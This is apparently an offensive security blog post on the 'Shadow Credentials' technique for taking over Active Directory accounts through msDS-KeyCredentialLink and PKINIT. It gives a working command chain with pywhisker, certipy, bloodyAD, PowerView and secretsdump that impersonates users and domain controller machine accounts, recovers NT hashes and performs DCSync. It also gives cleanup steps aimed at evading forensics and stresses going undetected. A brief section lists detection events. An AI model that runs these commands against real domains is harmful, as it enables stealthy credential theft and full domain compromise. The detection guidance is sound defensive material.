LIVE ANALYSIS May 16, 2026

Shadow Credentials: Owning AD Through msDS-KeyCredentialLink

Shadow Credentials abuse msDS-KeyCredentialLink to authenticate as any user via PKINIT without touching their password. No reset, no ticket forging, no detection by most SOCs.

#Active Directory #Shadow Credentials #PKINIT #Kerberos #DACL #Persistence

Most AD compromise writeups stop at password resets, Golden Tickets, or DCSync. Shadow Credentials operate at a different level. You add a public key to a target’s msDS-KeyCredentialLink attribute, then authenticate as them through PKINIT. No password change. No NTLM hash needed. No 4724/4723 events in the Security log. The target user never notices anything.

This technique was introduced by Elad Shamir in 2021, and it remains one of the most underutilized lateral movement primitives in real engagements.

How Windows Hello for Business Created an Attack Surface

Windows Hello for Business (WHfB) allows passwordless authentication using asymmetric key pairs. When a user enrolls, the client generates an RSA key pair, stores the private key in TPM, and writes the public key into the user’s msDS-KeyCredentialLink attribute in AD.

During authentication, the client performs PKINIT pre-authentication with the KDC using the private key. The KDC validates it against the stored public key in msDS-KeyCredentialLink and issues a TGT. No password involved at any step.

The attack: if you can write to a target’s msDS-KeyCredentialLink, you can add your own key pair and authenticate as them.

Windows Hello for Business PKINIT flow

Prerequisites

Three things must be true:

1. ADCS deployed (or a KDC certificate available) PKINIT requires the KDC to have a certificate with the KDC Authentication EKU. If ADCS is deployed (which it is in most enterprise environments), this is almost always the case. Check:

certipy find -u user@domain.local -p 'pass' -dc-ip 10.10.10.1 -stdout | grep "KDC Authentication"

2. Write access to the target’s msDS-KeyCredentialLink This is the hard part. You need GenericAll, GenericWrite, WriteProperty, or WriteDACL on the target object. Enumerate with:

bloodyAD -u user -p 'pass' -d domain.local --host 10.10.10.1 get writable --right WRITE --detail | grep KeyCredential

Or via PowerView:

Get-DomainObjectAcl -Identity "target_user" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty"}

3. Domain functional level 2016+ msDS-KeyCredentialLink was introduced with Server 2016. Older DFLs don’t support it.

The Attack Chain

Step 1: Add Shadow Credential

Using pywhisker:

pywhisker -d domain.local -u attacker -p 'pass' --target victim --action add --dc-ip 10.10.10.1

This generates an RSA key pair, writes the public key as a KeyCredential structure into the target’s msDS-KeyCredentialLink, and outputs a PFX file with the private key.

Save that PFX and the Device ID. You’ll need both.

Step 2: Authenticate via PKINIT

certipy auth -pfx victim.pfx -dc-ip 10.10.10.1 -username victim -domain domain.local

Certipy performs PKINIT pre-auth, obtains a TGT, and uses the KERB_KEY_LIST_REQ PAC extension to recover the NT hash through U2U. Output:

[*] Got TGT for victim@domain.local
[*] NT hash: a1b2c3d4e5f6...

Step 3: Post-Exploitation

With the TGT or NT hash, you can:

  • DCSync if the target has replication rights (Domain Admins, Enterprise Admins, DC accounts)
  • Pass-the-Hash / Pass-the-Ticket for lateral movement
  • S4U2Self/S4U2Proxy if the target has constrained delegation configured

Step 4: Cleanup

pywhisker -d domain.local -u attacker -p 'pass' --target victim --action remove --device-id <id>

Always remove the key. A lingering msDS-KeyCredentialLink entry on a high-value account is the kind of thing that gets flagged during forensics.

Chaining: GenericAll on Computer Objects

The most common real-world scenario is having GenericAll on a computer account rather than a user. Computer accounts can be targeted the same way, and machine accounts often have interesting privileges (constrained delegation, LAPS, RBCD).

pywhisker -d domain.local -u attacker -p 'pass' --target 'DC01$' --action add --dc-ip 10.10.10.1
certipy auth -pfx DC01.pfx -dc-ip 10.10.10.1 -username 'DC01$' -domain domain.local
secretsdump.py -hashes :$HASH domain.local/'DC01$'@10.10.10.1

Shadow Credentials on a DC machine account = DCSync without needing DS-Replication-Get-Changes.

Combining with RBCD

When you have write access to a computer object but ADCS is not deployed (no PKINIT), fall back to Resource-Based Constrained Delegation:

  1. Create a machine account with addcomputer.py
  2. Set msDS-AllowedToActOnBehalfOfOtherIdentity on the target
  3. S4U2Self + S4U2Proxy to get a service ticket as any user

Shadow Credentials is preferred when PKINIT is available because it avoids the machine account quota check and produces less noise.

Detection

The honest truth: most SOCs don’t monitor for this.

What would catch it:

  • Event ID 5136 on msDS-KeyCredentialLink modifications (requires Directory Service Changes auditing enabled)
  • Event ID 4768 with pre-auth type 16 (PKINIT) for accounts that never used WHfB
  • Monitoring the KeyCredential structure count per user. Normal users have 0 or 1 entries

Tools like ShadowSpray automate this against every writable object in the domain. If you’re defending: audit WriteProperty on msDS-KeyCredentialLink across all OUs.

Why This Matters

Shadow Credentials sit at the intersection of three things defenders rarely monitor simultaneously: DACL misconfigurations, PKINIT authentication, and attribute-level changes. The technique leaves no password change event, no Kerberos ticket anomaly that basic detection rules catch, and no artifact on the target machine. It’s the kind of technique that separates “we got DA” from “we got DA and nobody saw it happen.”